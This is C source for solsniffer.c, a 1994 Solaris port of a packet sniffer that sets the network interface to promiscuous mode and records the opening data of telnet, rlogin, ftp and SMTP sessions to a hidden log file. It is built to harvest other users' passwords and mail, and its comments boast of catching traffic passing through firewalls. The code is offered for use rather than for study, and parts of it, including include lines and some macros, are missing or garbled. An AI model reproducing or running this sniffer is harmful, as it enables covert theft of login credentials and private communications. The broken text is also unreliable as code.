/* solsniffer.c - v1.10 - Michael R. Widner (atreus, J.Galt) * * This is sunsniffer.c modified to run on dlpi systems, notably * solaris 2.x. The additions are rather verbose, but I'm really * too damn lazy to bother cleaning it up. * 4/26/94 - initial code. Had some serious hacks in the bufmod stuff. * 4/28/94 - v 1.0 fixed up the bufmod stuff a little, but still wrong. * 8/11/94 - v 1.1 ok, bufmod fixed. No more packet dropping. * Also fixed/added some command line options. * -sflt to filter smtp, ftp, login and telnet respectively. * -d x to set data limit; good for catching mail and stuff * going through firewalls. Like luser on my subnet does * telnet firewall.myorg.com, then from there does * telnet someplace.outside.mynet */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* #define MAXDLBUF 8192 /* this is much too low -mrw */ #define MAXDLBUF 32768 /* This is much bigger than any packet */ #define MAXWAIT 15 #define MAXDLADDR 1024 /* workaround for bcopy, etc. */ #define bcopy(s1, s2, len) memcpy(s2, s1, len) #define index(s, c) strchr(s, c) #define rindex(s, c) strrchr(s, c) #define bzero(s, len) memset(s, 0, len) #define bcmp(s1, s2, len) (memcmp(s1, s2, len)!=0) /* * externs go here */ extern void sigalrm(); #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; long databuf[MAXDLBUF]; #define NIT_DEV "/dev/le" #define CHUNKSIZE 4096 /* device buffer size */ int if_fd = -1; int Packet[CHUNKSIZE+32]; /* More ugly global stuff. */ int promisc = 1; /* promiscuous mode "on" by default */ int bufmod = 0; /* push buffer module, "off" by default */ int filter_flags=0; /* connections we'd like to fileter */ #define FILT_TELNET 1 #define FILT_FTP 2 #define FILT_LOGIN 4 #define FILT_SMTP 8 int maxbuflen=128; /* Define a new DATA LIMIT. Still max at MAXBUFLEN */ void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) ((s).s_addr == (t).s_addr) #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) /* I cranked this up. reduce it if you run out of mem. -mrw */ #define MAXBUFLEN (8192) time_t LastTIME = 0; struct CREC { struct CREC *Next, *Last; time_t Time; /* start time */ struct in_addr SRCip, DSTip; u_int SRCport, /* src/dst ports */ DSTport; u_char Data[MAXBUFLEN+2]; /* important stuff :-) */ u_int Length; /* current data length */ u_int PKcnt; /* # pkts */ u_long LASTseq; }; struct CREC *CLroot = NULL; char *Symaddr(ip) struct in_addr ip; { struct hostent *he = gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET); return( (he)?(he->h_name):(inet_ntoa(ip)) ); } char *TCPflags(flgs) register u_char flgs; { static char iobuf[8]; #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') SFL(0,TH_FIN, 'F'); SFL(1,TH_SYN, 'S'); SFL(2,TH_RST, 'R'); SFL(3,TH_PUSH,'P'); SFL(4,TH_ACK, 'A'); SFL(5,TH_URG, 'U'); iobuf[6]=0; return(iobuf); } char *SERVp(port) register u_int port; { static char buf[10]; register char *p; switch(port) { case IPPORT_LOGINSERVER: p="rlogin"; break; case IPPORT_TELNET: p="telnet"; break; case IPPORT_SMTP: p="smtp"; break; case IPPORT_FTP: p="ftp"; break; default: sprintf(buf,"%u",port); p=buf; break; } return(p); } char *Ptm(t) register time_t *t; { register char *p = ctime(t); p[strlen(p)-6]=0; /* strip " YYYY\n" */ return(p); } char *NOWtm() { time_t tm; time(&tm); return( Ptm(&tm) ); } #define MAX(a,b) (((a)>(b))?(a):(b)) #define MIN(a,b) (((a)<(b))?(a):(b)) /* add an item */ #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ register struct CREC *CLtmp = \ (struct CREC *)malloc(sizeof(struct CREC)); \ time( &(CLtmp->Time) ); \ CLtmp->SRCip.s_addr = SIP.s_addr; \ CLtmp->DSTip.s_addr = DIP.s_addr; \ CLtmp->SRCport = SPORT; \ CLtmp->DSTport = DPORT; \ CLtmp->Length = MIN(LEN,MAXBUFLEN); \ bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \ CLtmp->PKcnt = 1; \ CLtmp->Next = CLroot; \ CLtmp->Last = NULL; \ CLroot = CLtmp; \ } struct CREC *GET_NODE(Sip,SP,Dip,DP) struct in_addr Sip,Dip; register u_int SP,DP; { struct CREC *CLr = CLroot; while(CLr != NULL) { if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) break; CLr = CLr->Next; } return(CLr); } #define ADDDATA_NODE(CL,DATA,LEN) { \ bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \ CL->Length += LEN; \ } #define PR_DATA(dp,ln) { \ register u_char lastc=0; \ while(ln-- >0) { \ if(*dp < 32) { \ switch(*dp) { \ case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \ break; \ case '\r': \ case '\n': fprintf(LOG,"\n : "); \ break; \ default : fprintf(LOG,"^%c", (*dp + 64)); \ break; \ } \ } else { \ if(isprint(*dp)) fputc(*dp,LOG); \ else fprintf(LOG,"(%d)",*dp); \ } \ lastc = *dp++; \ } \ fflush(LOG); \ } void END_NODE(CLe,d,dl,msg) register struct CREC *CLe; register u_char *d; register int dl; register char *msg; { fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time)); fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); fprintf(LOG," DATA: "); { register u_int i = CLe->Length; register u_char *p = CLe->Data; PR_DATA(p,i); PR_DATA(d,dl); } fprintf(LOG,"\n-- \n"); fflush(LOG); if(CLe->Next != NULL) CLe->Next->Last = CLe->Last; if(CLe->Last != NULL) CLe->Last->Next = CLe->Next; else CLroot = CLe->Next; free(CLe); } /* 30 mins (x 60 seconds) */ #define IDLE_TIMEOUT 1800 #define IDLE_NODE() { \ time_t tm; \ time(&tm); \ if(LastTIMENext; \ if(CLe->Time ether_type); if(EtherType < 0x600) { EtherType = *(u_short *)(cp + SZETH + 6); cp+=8; pktlen-=8; } if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */ return; } /* ugh, gotta do an alignment :-( */ bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH)); ip = (struct ip *)Packet; if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ return; tcph = (struct tcphdr *)(Packet + IPHLEN); if(!( ((TCPD == IPPORT_TELNET) && !(filter_flags & FILT_TELNET)) || ((TCPD == IPPORT_LOGINSERVER) && !(filter_flags & FILT_LOGIN)) || ((TCPD == IPPORT_FTP) && !(filter_flags & FILT_FTP)) || ((TCPD == IPPORT_SMTP) && !(filter_flags & FILT_SMTP)) )) return; { register struct CREC *CLm; register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4)); register u_char *p = (u_char *)Packet; p += ((IPHLEN * 4) + (TCPOFF * 4)); if(debug) { fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length); fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); } if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { CLm->PKcnt++; if(length>0) if( (CLm->Length + length) < maxbuflen ) { /* was MAXBUFLEN */ ADDDATA_NODE( CLm, p,length); } else { END_NODE( CLm, p,length, "DATA LIMIT"); } if(TCPFL(TH_FIN|TH_RST)) { END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); } } else { if(TCPFL(TH_SYN)) { ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); } } IDLE_NODE(); } } /* signal handler */ void death() { register struct CREC *CLe; while(CLe=CLroot) END_NODE( CLe, (u_char *)NULL,0, "SIGNAL"); fprintf(LOG,"\nLog ended at => %s\n",NOWtm()); fflush(LOG); if(LOG != stdout) fclose(LOG); exit(1); } /* opens network interface, performs ioctls and reads from it, * passing data to filter function */ err(fmt, a1, a2, a3, a4) char *fmt; char *a1, *a2, *a3, *a4; { (void) fprintf(stderr, fmt, a1, a2, a3, a4); (void) fprintf(stderr, "\n"); (void) exit(1); } static void sigalrm() { (void) err("sigalrm: TIMEOUT"); } strgetmsg(fd, ctlp, datap, flagsp, caller) int fd; struct strbuf *ctlp, *datap; int *flagsp; char *caller; { int rc; static char errmsg[80]; /* * Start timer. */ (void) signal(SIGALRM, sigalrm); if (alarm(MAXWAIT) < 0) { (void) sprintf(errmsg, "%s: alarm", caller); syserr(errmsg); } /* * Set flags argument and issue getmsg(). */ *flagsp = 0; if ((rc = getmsg(fd, ctlp, datap, flagsp)) < 0) { (void) sprintf(errmsg, "%s: getmsg", caller); syserr(errmsg); } /* * Stop timer. */ if (alarm(0) < 0) { (void) sprintf(errmsg, "%s: alarm", caller); syserr(errmsg); } /* * Check for MOREDATA and/or MORECTL. */ if ((rc & (MORECTL | MOREDATA)) == (MORECTL | MOREDATA)) err("%s: MORECTL|MOREDATA", caller); if (rc & MORECTL) err("%s: MORECTL", caller); if (rc & MOREDATA) err("%s: MOREDATA", caller); /* * Check for at least sizeof (long) control data portion. */ if (ctlp->len < sizeof (long)) err("getmsg: control portion length < sizeof (long): %d", ctlp->len); } expecting(prim, dlp) int prim; union DL_primitives *dlp; { if (dlp->dl_primitive != (u_long)prim) { err("unexpected dlprim error\n"); exit(1); } } strioctl(fd, cmd, timout, len, dp) int fd; int cmd; int timout; int len; char *dp; { struct strioctl sioc; int rc; sioc.ic_cmd = cmd; sioc.ic_timout = timout; sioc.ic_len = len; sioc.ic_dp = dp; rc = ioctl(fd, I_STR, &sioc); if (rc < 0) return (rc); else return (sioc.ic_len); } dlattachreq(fd, ppa) int fd; u_long ppa; { dl_attach_req_t attach_req; struct strbuf ctl; int flags; attach_req.dl_primitive = DL_ATTACH_REQ; attach_req.dl_ppa = ppa; ctl.maxlen = 0; ctl.len = sizeof (attach_req); ctl.buf = (char *) &attach_req; flags = 0; if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0) syserr("dlattachreq: putmsg"); } dlokack(fd, bufp) int fd; char *bufp; { union DL_primitives *dlp; struct strbuf ctl; int flags; ctl.maxlen = MAXDLBUF; ctl.len = 0; ctl.buf = bufp; strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlokack"); dlp = (union DL_primitives *) ctl.buf; expecting(DL_OK_ACK, dlp); if (ctl.len < sizeof (dl_ok_ack_t)) err("dlokack: response ctl.len too short: %d", ctl.len); if (flags != RS_HIPRI) err("dlokack: DL_OK_ACK was not M_PCPROTO"); if (ctl.len < sizeof (dl_ok_ack_t)) err("dlokack: short response ctl.len: %d", ctl.len); } dlbindreq(fd, sap, max_conind, service_mode, conn_mgmt, xidtest) int fd; u_long sap; u_long max_conind; u_long service_mode; u_long conn_mgmt; u_long xidtest; { dl_bind_req_t bind_req; struct strbuf ctl; int flags; bind_req.dl_primitive = DL_BIND_REQ; bind_req.dl_sap = sap; bind_req.dl_max_conind = max_conind; bind_req.dl_service_mode = service_mode; bind_req.dl_conn_mgmt = conn_mgmt; bind_req.dl_xidtest_flg = xidtest; ctl.maxlen = 0; ctl.len = sizeof (bind_req); ctl.buf = (char *) &bind_req; flags = 0; if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0) syserr("dlbindreq: putmsg"); } dlbindack(fd, bufp) int fd; char *bufp; { union DL_primitives *dlp; struct strbuf ctl; int flags; ctl.maxlen = MAXDLBUF; ctl.len = 0; ctl.buf = bufp; strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlbindack"); dlp = (union DL_primitives *) ctl.buf; expecting(DL_BIND_ACK, dlp); if (flags != RS_HIPRI) err("dlbindack: DL_OK_ACK was not M_PCPROTO"); if (ctl.len < sizeof (dl_bind_ack_t)) err("dlbindack: short response ctl.len: %d", ctl.len); } dlpromisconreq(fd, level) int fd; u_long level; { dl_promiscon_req_t promiscon_req; struct strbuf ctl; int flags; promiscon_req.dl_primitive = DL_PROMISCON_REQ; promiscon_req.dl_level = level; ctl.maxlen = 0; ctl.len = sizeof (promiscon_req); ctl.buf = (char *) &promiscon_req; flags = 0; if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0) syserr("dlpromiscon: putmsg"); } syserr(s) char *s; { (void) perror(s); exit(1); } do_it() { long buf[MAXDLBUF]; char *device; int ppa; int fd; int sap; struct strbuf data; int flags; int i; int c; int offset; int len; struct timeval t; u_int chunksize = 16 * 1024; struct sb_hdr *bp; char *p, *limp; int mrwtmp; /* temporary debugging crap */ device = "/dev/le"; ppa = 0; sap= 0x800; /* * Open the device. */ if ((fd = open(device, 2)) < 0) syserr(device); /* * Attach. */ dlattachreq(fd, ppa); dlokack(fd, buf); /* * Optionally enable promiscuous mode. */ if (promisc) { dlpromisconreq(fd, DL_PROMISC_PHYS); dlokack(fd, buf); } /* * Bind. */ dlbindreq(fd, sap, 0, DL_CLDLS, 0, 0); dlbindack(fd, buf); /* * Issue DLIOCRAW ioctl. */ if (strioctl(fd, DLIOCRAW, -1, 0, NULL) < 0) syserr("DLIOCRAW"); /* * Push and configure buffer module. */ if (bufmod) { if (ioctl(fd, I_PUSH, "bufmod") < 0) syserr("push bufmod"); t.tv_sec = 0; t.tv_usec = 500000; /* 0.5s */ if (strioctl(fd, SBIOCSTIME, -1, sizeof (struct timeval), &t) < 0) syserr("SBIOCSTIME"); if (strioctl(fd, SBIOCSCHUNK, -1, sizeof (u_int), &chunksize) < 0) syserr("SBIOCSCHUNK"); } /* * Flush the read side of the Stream. */ if (ioctl(fd, I_FLUSH, FLUSHR) < 0) syserr("I_FLUSH"); /* * Read packets. */ data.buf = (char *) databuf; data.maxlen = MAXDLBUF; data.len = 0; /* Here's the deal: I had some problems with the bufmod code, but I think it's working now. I don't know a whole lot about the whole DLPI interface, so I can't be sure there aren't any oversights here. It seems to be working now, but I have not had the time to do extensive testing. I know for certain that packets will be dropped on a busy network if I don't use bufmod. That problem should not occur when using bufmod, but like I said, I may have overlooked something. */ while (((mrwtmp=getmsg(fd, NULL, &data, &flags))==0) || (mrwtmp==MOREDATA) || (mrwtmp=MORECTL)) { p = data.buf; limp = p + data.len; /* This is the ugliest piece of commented out crap that I've ever done. Ignore it. Someday it will go away. */ /* if (data.len && bufmod) { for (; p < limp; p += bp->sbh_totlen) { bp = (struct sb_hdr*) p; /* Display hex data if we want * / for (i = 0; i < bp->sbh_msglen; i++) printf("%02x ", *(p + sizeof (struct sb_hdr) + i) & 0xff); printf("\n"); filter(p, bp->sbh_msglen); } } else if (data.len) { */ filter(data.buf, data.len); /* } else if */ data.len = 0; } /* while */ printf("finished getmsg() = %i\n",mrwtmp); } /* Authorization, if you'd like it. */ #define AUTHPASSWD "c6Lqd3Dvn2l3s" void getauth() { char *buf,*getpass(),*crypt(); char pwd[21],prmpt[81]; strcpy(pwd,AUTHPASSWD); sprintf(prmpt,"(%s)UP? ",ProgName); buf=getpass(prmpt); if(strcmp(pwd,crypt(buf,pwd))) exit(1); } void main(argc, argv) int argc; char **argv; { char cbuf[BUFSIZ]; struct ifconf ifc; int s, ac=1, backg=0; ProgName=argv[0]; /* getauth(); */ /* I put this here for a reason, but now I'm commenting it out. */ /* if(!(LOG=fopen((LogName=".tfile"),"a"))) Zexit(1,"Output file cant be opened\n"); */ /* Its still called NIT_DEV, even if it's no longer /dev/nit */ device=NIT_DEV; while((ac MAXBUFLEN) maxbuflen=MAXBUFLEN; break; default : fprintf(ERR, "Usage: %s [-d x] [-s] [-f] [-l] [-t] [-i interface] [-o file]\n", ProgName); fprintf(ERR," -d int set new data limit (128 default)\n"); fprintf(ERR," -s filter out smtp connections\n"); fprintf(ERR," -f filter out ftp connections\n"); fprintf(ERR," -l filter out rlogin/rsh connections\n"); fprintf(ERR," -t filter out telnet connections\n"); fprintf(ERR," -o output to \n"); exit(1); } } fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV); fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout", (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n"); if(!LOG) LOG=stdout; signal(SIGINT, death); signal(SIGTERM,death); signal(SIGKILL,death); signal(SIGQUIT,death); if(backg && debug) { fprintf(ERR,"[Cannot bg with debug on]\n"); backg=0; } fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid()); fflush(LOG); do_it(); }